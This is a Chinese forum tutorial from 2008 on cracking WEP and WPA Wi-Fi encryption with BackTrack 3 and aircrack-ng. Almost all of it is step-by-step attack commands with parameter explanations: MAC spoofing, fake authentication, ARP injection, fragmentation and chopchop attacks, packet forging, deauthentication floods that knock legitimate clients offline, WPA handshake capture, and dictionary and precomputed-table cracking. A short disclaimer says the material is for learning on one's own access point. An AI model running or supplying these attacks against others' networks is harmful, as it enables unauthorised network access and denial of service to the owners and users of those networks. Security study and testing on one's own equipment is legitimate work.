中国无线论坛中卫出品
AnywhereWLAN!! 1 BT3破解无线WEP/WPA教程 中国无线论坛中卫出品 AnywhereWLAN!! 2 声明:任何不经别人同意而进入别人网络都是非法和不道德的行为。 本教程用于学习和交流,如要实验请拿自已的AP开刀!! 题记: 本人是中国无线论坛 http://www./的ID“中卫”, 无线安全版块是本论坛一个特殊而重要的版块,我们一直非常努 力的想把这个板块做好。作为板块现阶段的的一个重点就是无线WEP 和WPA的破解内容。我根据各位坛友的教程和自己的理解整理编辑成 这篇《BT3破解无线WEP/WPA教程》。 由于本人也是初学者,缺乏专业的理论知识,因此文中不免存在理 解的偏差甚至错误,希望各位朋友指正。 最后希望更多的朋友参与到教程的整理和编辑中,不断把教程修 正和完善。 如果对教程有任何意见和建议,欢迎各位到www.论 坛提问和交流。 谢谢!! 中卫 08年7月13日 中国无线论坛中卫出品 AnywhereWLAN!! 3 开放式WEP破解 1.装备: IMBX60笔记本(内置Intel3945 无线网卡)、BT3 的U盘系统(需用syslinux命令来指定启动 BT3 的盘符) 2.用户名:root密码:toor,进入图形界面:startx。启动BT3 后,(启动黑屏:xconf再输入startx) 3.加载3945 网卡的驱动。打开一个shell 输入modprobe –r iwl3945 卸载原来的网卡驱动 输入modprobe ipwraw 加载可监听的网卡驱动 注:不同的网卡有不同的加载方式 LINUX 驱动是通过模块进行加载的,可以用lsmod 来查看机器已加载的模块 然后可以通过modinfo ipwraw(模块名)来查看所加载驱动模块的版本信息 最新的 ipwraw的版本是ipwraw-ng-2.3.4-04022008.tar.bz2 的。 中国无线论坛中卫出品 AnywhereWLAN!! 4 最新的版本需要设置rate为1M 设置命令为iwconfig wifi0 rate 1M 这个版本的驱动支持3945 无线网卡发射功率得设置,命令如下 iwconfig wifi0 txpower 16(TXPOWER是你想设置的值min=-12 and max=16,单位为dBm) 参数 on/off可以打开和关闭发射单元,auto 和fixed指定无线是否自动选择发射功率。 注:降低连接速率可提高建立虚拟连接的成功率和稳定性,提高发射功率可增加发射距离。 4. 查找目标: 可以用 airodump-ng wifi0 来搜索 注:通过扫描获得你要破解的AP的MAC和SSID 还有是否有客户端等信息。记录下这些信息后,请关闭 此窗口。不然会出现后面建立虚拟连接时信道一直在跳转的情况。 我们选择第一个作为目标,channel为11(上图中的CH 代表信道)。 注:修改自己网卡的MAC地址的命令。 输入macchanger –m 00:11:22:33:44:55 wifi0 5.激活网卡的Monitor模式并工作在11 信道。(加载网卡,激活监听模式,工作在11 信道) 输入airmon-ng start wifi0 11 也可用iwconfi wifi0 来查看网卡的工作模式和工作信道。 中国无线论坛中卫出品 AnywhereWLAN!! 5 可用 aireplay-ng -9 wifi0 测试注入 6.输入截取数据包命令(截取11 信道的ivs数据包,并保存名为name.ivs) 输入命令airodump-ng --ivs -w name -c 11 wifi0 , (--ivs:仅截取ivs数据包,-w:写入文件,-c:截取ivs的信道) (其中name是获取的ivs 的保存文件的名字,11 是channel值,你根据实际修改) 中国无线论坛中卫出品 AnywhereWLAN!! 6 一. 有客户端WEP破解 1.有客户端,且合法客户端产生大量有效的数据,能直接获得大量IVS。 思路:1-6步同上 7.直接用aircrack-ng破解 第七步: aircrack-ng -n 64 -b <ap mac> name-01.ivs 2.有客户端,合法客户端只能产生少量ivs 数据,就需要注入攻击加速产生大量ivs。 只要有少量的数据就可能获得arp 请求包,则可用arp 注入模式的-3 模式通过不断向AP 发送 同样的arp请求包,来进行注入式攻击。 思路:1-6步同上 7.用aireplay-ng的arp注入方式获得大量的ivs 第七步:aireplay-ng -3 -b <ap mac> -h <合法客户端mac> wifi0 注:这一步可能时间会长一点,因为需要等到ARP。 3.有客户端,但是客户端根本不在通信,不能产生ARP包。-3注入模式不成功 思路:1-6步同上 7.-0 冲突模式强制断开合法客户端和ap连接,使之重新连接 8.利用-0冲突模式重新连接所产生的握手数据让-3获得有效的ARP从而完成ARP注入 第七步:aireplay-ng -3 -b <ap mac> -h <合法客户端mac> wifi0 中国无线论坛中卫出品 AnywhereWLAN!! 7 第八步:aireplay-ng -0 10 –a <ap mac> -c <合法客户端mac> wifi0 中国无线论坛中卫出品 AnywhereWLAN!! 8 4.有客户端,并且客户端能产生有效arp 数据的另类破解方式 前面的步骤一样: 输入modprobe –r iwl3945 输入modprobe ipwraw 输入airmon-ng start wifi0 11 现在,只要一个命令就搞定,输入: 输入wesside-ng -i wifi0 -v 01:02:03:04:05:06 (此格式的APMAC)。 Wesside-ng这个命令其实就是一个-5 碎片注入,fragmentation 构造注入包,-3arp注入,最后PTW 破解这 样一个思路。 中国无线论坛中卫出品 AnywhereWLAN!! 9 二.无客户端开放式WEP破解 思路:1-6步同上 因为是无客户端,所以第一步就需要和AP之间建立一个虚拟连接。 这是非常关键的一步。为让AP 接受数据包,必须使自己的网卡和AP 关联。如果没有关联的话,目标AP 将忽略所有从你网卡发送的数据包,IVS数据将不会产生。 第七步:输入aireplay-ng -1 0 -e <ap essid> -a <ap mac> -h < mac> wifi0 如果回显虚拟伪装连接不成功,不能成功的原因很多,具体有如下几种: 1、目标AP做了MAC地址过滤 2、你离目标AP物理距离太远 3、对方使用了WPA加密 5、网卡、AP可能不兼容,网卡没有使用和AP一样的工作频道 注:遇有不规则的essid可用引号将essid引起来比如,‘jack chen’。 虚拟连接不成功可做如下尝试: 1.直接将-e这个参数省略掉 2.降低网卡的速率重新进行连接 Iwconfig wifi0 rate 2M 参数说明:rate 后面跟连接的速率,可以从小往大设置做尝试连接。后面的单位M 必须为大 写 中国无线论坛中卫出品 AnywhereWLAN!! 10 也可以使用命令tcpdump来确认网卡是否已经连接到目标AP上 tcpdump -n -e -s0 -vvv -i wifi0 中国无线论坛中卫出品 AnywhereWLAN!! 11 1.第一种破解方式: 思路:1-7步同上 建立虚拟连接后直接用-2 交互攻击模式,这个模式集合了抓包和提取数据,发包注入三种能力。 第八步:抓包,提数据和发包攻击 aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0 发包成功后可得到足够的ivs,然后用aircrack-ng破解。 成功后如上图截获了一个可以直接进行注入的数据包,并回显Use this packet,按y 然后开始 发包攻击,date飞快涨。当获得足够的ivs以后就可破解了。 中国无线论坛中卫出品 AnywhereWLAN!! 12 2.第二种破解方式: 思路:1-7步同上 第八步:利用-5 碎片攻击模式获得一个可用的包含密钥是数据文件(xor 文件) 第九步:然后通过数据包制造程序Packetforge-ng提取xor 文件中的PRGA伪造一个arp包, 第十步:最后利用交互式攻击模式-2发包攻击。 第八步:采用碎片包攻击模式-5,获得一个PRGA数据包(xor文件)。 输入aireplay-ng -5 -b <ap mac> -h <my mac> wifi0 如顺利,将得到一个可利用的数据包如上图,系统将回显Use this packet ? 输入y 回车,将得到一个至 关重要的xor 文件。这一步生成的xor 文件将被我们用来产生arp数据包。 再输入 ls 查看当前目录,你将看到刚才生成的一个后缀名为xor 的文件。 中国无线论坛中卫出品 AnywhereWLAN!! 13 第九步:用数据包制造程序packetforge-ng将上面获得的PRGA数据包伪造成可利用的ARP注入包。 其工作原理就是使目标AP重新广播包,当AP重广播时,一个新的IVS将产生,我们就是利用这个来破解。 输入packetforge-ng -0 -a <ap mac> -h <my mac> -k 255.255.255.255 –l 255.255.255.255 -y name-xor -w myarp 参数说明: -y (filename)是用来读取PRGA的文件 -w (filename)将arp包写入文件,我用的文件名是myarp 系统回显:Wrote packet to: mrarp 中国无线论坛中卫出品 AnywhereWLAN!! 14 第十步:采用交互模式-2,发包注入攻击。 输入aireplay-ng -2 –r myarp -x 256 rausb0 【-r】:从指定文件中读取arp数据包 【-x】:定义每秒发送的数据包数量。为避免网卡死机,可选择256,最高不超过1024 输入 y 回车攻击开始 中国无线论坛中卫出品 AnywhereWLAN!! 15 这时,前面的抓包窗口上的data 将迅速增加。 到数据增加到1.5万以上时。 第十一步:采用aircrack-ng 来进行破解 中国无线论坛中卫出品 AnywhereWLAN!! 16 3.第三种破解方式: 思路:1-7步同上 第八步:利用-4的Chopchop 攻击模式获得一个可用的包含密钥数据文件(xor 文件) 第九步:通过数据包制造程序Packetforge-ng提取xor 文件中的PRGA伪造一个arp包 第十步:最后利用交互式攻击模式-2发包攻击。 第八步:采用-4 的Chopchop 攻击模式获得一个包含密钥数据的xor 文件 输入aireplay-ng -4 -b <ap mac> -h <my mac> wifi0 参数说明: -b:设置需要破解的AP的mac -h:设置用于连接的无线网卡的mac(自己网卡) 顺利将得到一个可利用的数据包,按y 将利用此数据包生产一个xor 文件 如上图所示得到一个名为replay_dec-0523-075615的xor 文件, 中国无线论坛中卫出品 AnywhereWLAN!! 17 第九步:通过数据包制造程序Packetforge-ng提取上面xor 文件来伪造一个arp包 输入packetforge-ng -0 -a <ap mac> -h <my mac> -k 255.255.255.255 –l 255.255.255.255 -y name-xor -w myarp 如上图,成功生成一个名为myarp的可用来注入的arp数据包。 第十步:最后利用交互式攻击模式-2发包攻击。 输入aireplay-ng -2 -r myarp rausb0 发现了可利用的myarp的数据包,按y后,立刻注入攻击。Date疯涨 注入成功将会获得足够的ivs然后直接用aircrack进行破解 中国无线论坛中卫出品 AnywhereWLAN!! 18 注:在破解无客户端的时候经常会遇到有些AP,尝试了各种注入攻击模式都无法成功注入, date一直为0。这时候可以根据下面的四种提示做进一步的尝试。 1.移动无线网卡位置让其获得更好的信号强度; 2.在注入攻击的过程中尝试多次进行-1虚拟连接; 3.在-2交互模式攻击中加入-F参数(自动选择获取的数据包进行注入攻击)如下图所示 然后你可以一边去做自己的事,等你忙好了回来的时候说不定date已经涨到几十万了; 4.在使用各种注入命令等待获取注入数据包的时候,如果你另外有一台计算机可以让另外一 台计算机连接到你要破解的无线AP。在连接过程中当提示输入密码的时候,你随便输入一个 什么密码,会出现正在获取IP 地址。这时候你的注入攻击的页面就会获得一个可用的注入数 据包,从而实现注入攻击。 中国无线论坛中卫出品 AnywhereWLAN!! 19 预共享WEP破解 大家都知道WEP加密有两种加密方式开放式和共享式。开放式系统验证和共享密钥验证两种模式中,每个 移动客户端都必须针对访问点进行验证。开放式系统验证其实可以称为“无验证”,因为实际上没有进行验 证——工作站说“请求验证”,而AP 也不管是否密钥是否正确,先“答应了再说”,但最终ap会验证密钥 是否正确,决定是否允许接入——这种验证方式的ap,往往你随便输入一个密码,都可以连接,但如果密 码不正确,会显示为“受限制”。共享密钥验证稍微强大一些,工作站请求验证,而访问点(AP)用WEP 加密的质询进行响应。如果工作站的提供的密钥是错误的,则立即拒绝请求。如果工作站有正确的WEP密 码,就可以解密该质询,并允许其接入。因此,连接共享密钥系统,如果密钥不正确,通常会立即显示“该 网络不存在等提示”。 前提:预共享WEP 破解必须要有合法无线客户端 预共享密钥的WEP不能建立-1 虚拟连接,你在建立虚拟连接的时候会有如下提示,见图中红色提示。 由于预共享WEP加密不能建立虚拟连接,因此预共享WEP破解必须是有客户端,无客户端不能进行破解 具体破解方式和开放式WEP破解的思路是一样的。 1.正常激活网卡的监听模式 2.输入截取数据包命令(截取11 信道的ivs数据包,并保存名为name.ivs) 输入命令airodump-ng --ivs -w name -c 11 wifi0 (--ivs:仅截取ivs数据包,-w:写入文件,-c:截取ivs的信道) (其中name是获取的ivs 的保存文件的名字,11 是channel值,你根据实际修改) 如下图所示STATION下有一个合法的客户端,AUTH下显示SKA 为预共享WEP加密方式 中国无线论坛中卫出品 AnywhereWLAN!! 20 破解思路一: 3.用aireplay-ng 的arp注入 aireplay-ng -3 -b <ap mac> -h <合法客户端mac> wifi0 注:-h后面跟合法客户端的MAC地址 如下图所示成功注入 注:这一步可能时间会长一点,因为需要等到可注入的ARP。 注入成功将会获得足够的ivs然后直接用aircrack进行破解 中国无线论坛中卫出品 AnywhereWLAN!! 21 破解思路二: 3.用-2 交互攻击模式注入 aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <合法客户端mac> wifi0 注:-h后面跟合法客户端的MAC地址 如下图所示成功注入 注入成功将会获得足够的ivs然后直接用aircrack进行破解 中国无线论坛中卫出品 AnywhereWLAN!! 22 破解思路三: 以上两步都是基于有客户端并且客户端能产生少量数据的情况,但是有时候AP有客户端连接,但是并不在 通信不能产生少量可用于注入的数据包。这时候就可以利用-0 冲突模式重新连接所产生的握手数据让-3 的 ARP注入方式或-2 交互注入方式获得有效的可用于注入的ARP从而完成注入。 如下图所示 当-0 冲突模式攻击成功后,-2的交互模式立刻获得一个可用的注入包。如下图所示 中国无线论坛中卫出品 AnywhereWLAN!! 23 破解思路四: 大家看这张图,在建立-1 虚拟连接的时候出现失败的提示 You sheould specify a xor file (-y) with at least 148 keystreambytes 提示你建立虚拟连接需要用-y参数指定一个预共享密钥的握手包。 这个握手包的获得和WPA 中握手包的获得方式是一样的,采用-0冲突模式,获得一个以AP MAC为名的xor 包。然后在-1建立虚拟连接的时候指定这个包。 然后利用-5碎片攻击模式攻击,packetforge-ng 构造ARP 注入包,然后-2 注入。从而获得足够的ivs用于 破解。 因为我一执行-0 冲突模式,导致另外系统蓝屏,所以没能获得这个握手包,这部分内容不够详细。 等我换了网卡再做测试,如果OK 我会补充到教程中。 中国无线论坛中卫出品 AnywhereWLAN!! 24 WPA破解详细教程 破解 WPA 的前提:必须要有合法无线客户端 WPA 破解的原理: 利用Deauth验证攻击。也就是说强制让合法无线客户端与AP被断开,当它被从WLAN 中断开后,这个无线 客户端会自动尝试重新连接到AP上,在这个重新连接过程中,数据通信就产生了,然后利用airodump捕获 一个无线路由器与无线客户端四次握手的过程,生成一个包含四次握手的cap包。然后再利用字典进行暴力 破解。 1. 激活网卡,并让其工作于11信道 Airmon-ng start wifi0 11 2.捕获11信道的cap包,并保存cap包为123.cap Airodump-ng –w 123 –c 11 wifi0 上图可以看出采用了WPA加密方式,并且有一个0016b69d10ad合法的无线客户端。 3. 进行Deauth验证攻击,强制断开合法无线客户端和AP直接的连接,使其重新进行连接 aireplay-ng -0 10 -a <ap mac> -c <my mac> wifi0 解释:-0指的是采取Deautenticate攻击方式,后面为发送次数。-c建议还是使用,效果会更好,这个后面跟 的是监测到的合法的已连接的客户端MAC地址 注意上图红色部分,-c后面为合法无线客户端的MAC地址 Deauth攻击往往并不是一次攻击就成功,为确保成功截获需要反复进行(WPA破解不用等到数据Data达到 几万,因为它只要一个包含WPA4次握手验证包就可以了)。如果成功捕获会出现下图红色部分的提示 中国无线论坛中卫出品 AnywhereWLAN!! 25 这时如果输入dir就可以在root目录下看到名为123.cap的握手包了。 得到握手包以后就可以用字典直接破解 首先将在windows下用字典工具生成的字典(例password.txt)拷贝到root目录下 在BT3桌面双击system然后出现下图。 图中左边红色就为root目录,图中红色存储介质双击打开以后就看到你的每个硬盘的分区了。可以进入硬 盘分区右键拷贝,然后进入root目录右键粘贴。如下图红色部分 目前WPA 的破解主要还是基于暴力破解和字典破解,暴力破解和字典破解的一个共性就是“耗时、费力、 运气”所以往往有时候你花了很多时间但还是破不了,这时候希望大家还是要接受这样一个残酷的现实。 中国无线论坛中卫出品 AnywhereWLAN!! 26 破解方式一:用Cap数据包直接暴力破解 从破解难度上讲WEP 是很容易破解的,只要你收集足够的Cap 数据包就肯定可以破解。WPA 的破解需要 有好的密码字典配合才能完成,复杂的WPA密码可能几个月也破解不出来。 输入:aircrack-ng -z –b <ap mac> 123*.cap 123 是前面所获得的握手包的文件名。系统会自动在你输入的文件名后加上-01、-02(如果数据包太多,系 统会自动分成几个文件存储并自动命名,可以使用ls查看),输入123*是打开所有123相关的cap文件。 常见问题:步骤2中收集数据包已达30W,无法破解密码。可能系统自动分成了几个文件贮存cap包。 如输入123-01.cap破解可能导致破解不成功,建议使用123*.cap选择所有的cap包进行破解。 中国无线论坛中卫出品 AnywhereWLAN!! 27 破解方式二. 挂字典破解 一.直接在BT3中挂字典破解 aircrack-ng –w password.txt –b <ap mac> 123.cap 参数说明:passwrod.txt为字典名称123.cap为步骤2中获得的握手信息包 耗时1分31秒获得WPA密码,如下图 从上图可以看出破解用时1分31秒,速度149.91K/S 注:本教程只为了描述破解的过程。我是做了个256K的小字典,事先把密码已经加到字典里了。 二.也可以把包含4次握手的CAP数据包拷贝到硬盘下在WIN下用WinAircrack挂字典破解。 中国无线论坛中卫出品 AnywhereWLAN!! 28 如上图 Encryption type处选择WPA-PSK,下面capture files处导入抓取的握手包123.cap 然后选择WPA选项,如下图 在上图中Dictionary file处导入字典文件password.txt。然后点击右下角的Aircrack the key 中国无线论坛中卫出品 AnywhereWLAN!! 29 然后出现下图提示 上图,选择1后回车,然后开始破解。成功破解如下图 从上图可以看出破解用时54秒,速度251.73K/S(比BT3下要快) 中国无线论坛中卫出品 AnywhereWLAN!! 30 三.通过airolib构建WPA table实现WPA线速破解 WPA的字典破解除了直接挂字典破解外,另外一种就是用airolib将字典构造成WPA table然后再用aircrac 进行破解。 构建WPA table就是采用和WPA加密采用同样算法计算后生成的Hash 散列数值,这样在需要破解的时候直 接调用这样的文件进行比对,破解效率就可以大幅提高。 先讲通过airolib构建WPA table WPA table具有较强的针对ssid的特性。 1. 在构建WPA table之前需要准备两个文件:一个是ssid列表的文件ssid.txt,一个是字典文件 password.txt。下图为我的文件 大家可以看到两个txt的文件,ssid记事本里是ssid的列表,你可以增加常见的ssid进去,后面的passwrod 就是字典文件了。 2. 把这ssid.txt和password.txt还有上面抓到的握手包123.cap这三个文件拷贝到root目录下方便使用。 见下图 3.开始利用airolib-ng来构建WPA table了。构建wpa table保存的名字为wpahash(下同) 第一步,如下图 airolib-ng wpa --import essid ssid.txt 中国无线论坛中卫出品 AnywhereWLAN!! 31 第二步,如下图 airolib-ng wpa --import passwd password.txt 第三步,如下图 airolib-ng wpa --clean all 第四步,如下图 airolib-ng wpa --batch 注:这一步要等很久(视字典大小而定,我256K的字典等了有15分钟) 4. 用aircrack来利用WPA table进行破解 Aircrack-ng –r wpahash 123.cap 选择1以后将开始破解。 中国无线论坛中卫出品 AnywhereWLAN!! 32 成功破解将如下图所示 从上图中可以看出耗时00:00:00反正不超过1秒钟,速度42250.00K/S 大家也看到了三种破解方式,直接挂字典中在win下用WinAircrack破解是速度比在BT3下要快。直接挂字典 破解不超过1分钟就破出了密码;利用WPA table破解速度虽然不到一秒,但是构建WPA table却耗费了15分 钟。构建WPA table是很耗时的,但是构建出了包括常见ssid的和相对较大字典的WPA table的话,以后破 解的速度将大大降低。当然没有万能的字典,如果有万能的字典,再构建出一个常见ssid的WPA table的话 那这个预运算数据库是超级超级庞大的。 注:WIN平台下的CAIN软件中的破解器也可用于WEP和WPA的基于暴力和字典的破解,但是其破解速度很慢, 相比aircrack-ng而言不具实用价值。 中国无线论坛中卫出品 AnywhereWLAN!! 33 Aireplay-ng的6种攻击模式详解 -0 Deautenticate 冲突模式 使已经连接的合法客户端强制断开与路由端的连接,使其重新连接。在重新连接过程中获得验证数据包, 从而产生有效ARP request。 如果一个客户端连在路由端上,但是没有人上网以产生有效数据,此时,即使用-3 也无法产生有效ARP request。所以此时需要用-0 攻击模式配合,-3 攻击才会被立刻激活。 aireplay-ng -0 10 –a <ap mac> -c <my mac> wifi0 参数说明: 【-0】:冲突攻击模式,后面跟发送次数(设置为0,则为循环攻击,不停的断开连接,客户端无法正常上 网) 【-a】:设置ap的mac 【-c】:设置已连接的合法客户端的mac。如果不设置-c,则断开所有和ap连接的合法客户端。 aireplay-ng -3 -b <ap mac> -h <my mac> wifi0 注:使用此攻击模式的前提是必须有通过认证的合法的客户端连接到路由器 -1 fakeauth count 伪装客户端连接 这种模式是伪装一个客户端和AP进行连接。 这步是无客户端的破解的第一步,因为是无合法连接的客户端,因此需要一个伪装客户端来和路由器相连。 为让AP接受数据包,必须使自己的网卡和AP关联。如果没有关联的话,目标AP将忽略所有从你网卡发 送的数据包,IVS 数据将不会产生。用-1 伪装客户端成功连接以后才能发送注入命令,让路由器接受到注 入命令后才可反馈数据从而产生ARP包。 aireplay-ng -1 0 –e <ap essid> -a <ap mac> -h <my mac> wifi0 参数说明: 【-1】:伪装客户端连接模式,后面跟延时 【-e】:设置ap的essid 【-a】:设置ap的mac 【-h】:设置伪装客户端的网卡MAC(即自己网卡mac) -2 Interactive 交互模式 这种攻击模式是一个抓包和提数据发攻击包,三种集合一起的模式 1.这种模式主要用于破解无客户端,先用-1建立虚假客户端连接然后直接发包攻击 aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0 参数说明: 【-2】:交互攻击模式 【-p】设置控制帧中包含的信息(16进制),默认采用0841 【-c】设置目标mac地址 【-b】设置ap的mac地址 【-h】设置伪装客户端的网卡MAC(即自己网卡mac) 2.提取包,发送注入数据包 aireplay-ng -2 –r <file> -x 1024 wifi0 发包攻击.其中,-x 1024 是限定发包速度,避免网卡死机,可以选择1024。 中国无线论坛中卫出品 AnywhereWLAN!! 34 -3 ARP-request 注入攻击模式 这种模式是一种抓包后分析重发的过程 这种攻击模式很有效。既可以利用合法客户端,也可以配合-1 利用虚拟连接的伪装客户端。如果有合法客 户端那一般需要等几分钟,让合法客户端和ap 之间通信,少量数据就可产生有效ARP request 才可利用-3 模式注入成功。如果没有任何通信存在,不能得到ARP request.,则这种攻击就会失败。如果合法客户端和 ap之间长时间内没有ARP request,可以尝试同时使用-0 攻击。 如果没有合法客户端,则可以利用-1 建立虚拟连接的伪装客户端,连接过程中获得验证数据包,从而产生 有效ARP request。再通过-3 模式注入。 aireplay-ng -3 -b <ap mac> -h <my mac> -x 512 wifi0 参数说明: 【-3】:arp注入攻击模式 【-b】:设置ap的mac 【-h】:设置 【-x】:定义每秒发送数据户包的数量,但是最高不超过1024,建议使用512(也可不定义) -4 Chopchop 攻击模式,用以获得一个包含密钥数据的xor 文件 这种模式主要是获得一个可利用包含密钥数据的xor 文件,不能用来解密数据包。而是用它来产生一个新 的数据包以便我们可以进行注入。 aireplay-ng -4 -b <ap mac> -h <my mac> wifi0 参数说明: -b:设置需要破解的AP的mac -h:设置虚拟伪装连接的mac(即自己网卡的mac) -5 fragment 碎片包攻击模式用以获得PRGA(包含密钥的后缀为xor 的文件) 这种模式主要是获得一个可利用PRGA,这里的PRGA 并不是wep key数据,不能用来解密数据包。而是 用它来产生一个新的数据包以便我们可以进行注入。其工作原理就是使目标AP重新广播包,当AP重广播 时,一个新的IVS将产生,我们就是利用这个来破解 aireplay-ng -5 -b <ap mac> -h <my mac> wifi0 【-5】:碎片包攻击模式 【-b】:设置ap的mac 【-h】:设置虚拟伪装连接的mac(即自己网卡的mac) 中国无线论坛中卫出品 AnywhereWLAN!! 35 Packetforge-ng:数据包制造程序 Packetforge-ng <mode> <options> Mode 【-0】:伪造ARP包 packetforge-ng -0 -a <ap mac> -h <my mac> wifi0 –k 255.255.255.255 -l 255.255.255.255 –y<.xor file> -w mrarp 参数说明: 【-0】:伪装arp数据包 【-a】:设置ap的mac 【-h】设置虚拟伪装连接的mac(即自己的mac) 【-k】<ip[:port]>说明:设置目标文件IP和端口 【-l】<ip[:port]>说明:设置源文件IP和端口 【-y】<file>说明:从xor 文件中读取PRGA。后面跟xor 的文件名。 【-w】设置伪装的arp包的文件名 Aircrack-ng:WEP 及WPA-PSK key 破解主程序 Aircrack-ng [optin] <.cap/.ivs file> Optin aircrack-ng -n 64 -b <ap mac> name-01.ivs 参数说明: 【-n】:设置WEP KEY 长度(64/128/152/256/512) aircrack-ng -x -f 2 name-01h.cap 参数说明: 【-x】:设置为暴力破解模式 【-f】:设置复杂程度,wep密码设置为1,wpa 密码设置为2 aircrack-ng -w password.txt ciw.cap 【-w】:设置为字典破解模式,后面跟字典文件,再后面跟是我们即时保存的那个捕获到WPA 验证的抓包 文件。 中国无线论坛中卫出品 AnywhereWLAN!! 36 常见问题荟萃 问题1:我在启动bt3 的时候,输入startx黑屏 解答:在输入用户名root 和密码toor 以后输入xconf 这时会黑屏一会,然后出来提示符再输入startx 可进入 win窗口;当实在不能进入win窗口的时候你也可以直接在提示符下输入各破解命令,同时可用alt+f1 打开 一个shell,alt+f2 打开第二个shell,alt+f3 打开第三个等。关闭窗口用PRINT SCREEN 键 问题2:在BT3中打开kismet 的时候窗口一闪就没了。 解答:首先加载驱ifconfig -a rausb0 开始网卡监听:airmon-ng start rausb0。找到/usr/local/etc/kismet.conf 打开此文件在channelsplit=true下面加入一行source=rt2500,rausb0,monitor 注: wusb54g v4一定是rt2500 ,不是加载驱动时显示的rt2570。 3945 的兄弟加入source=ipw3945,eth0,IPW3945 问题3: |
|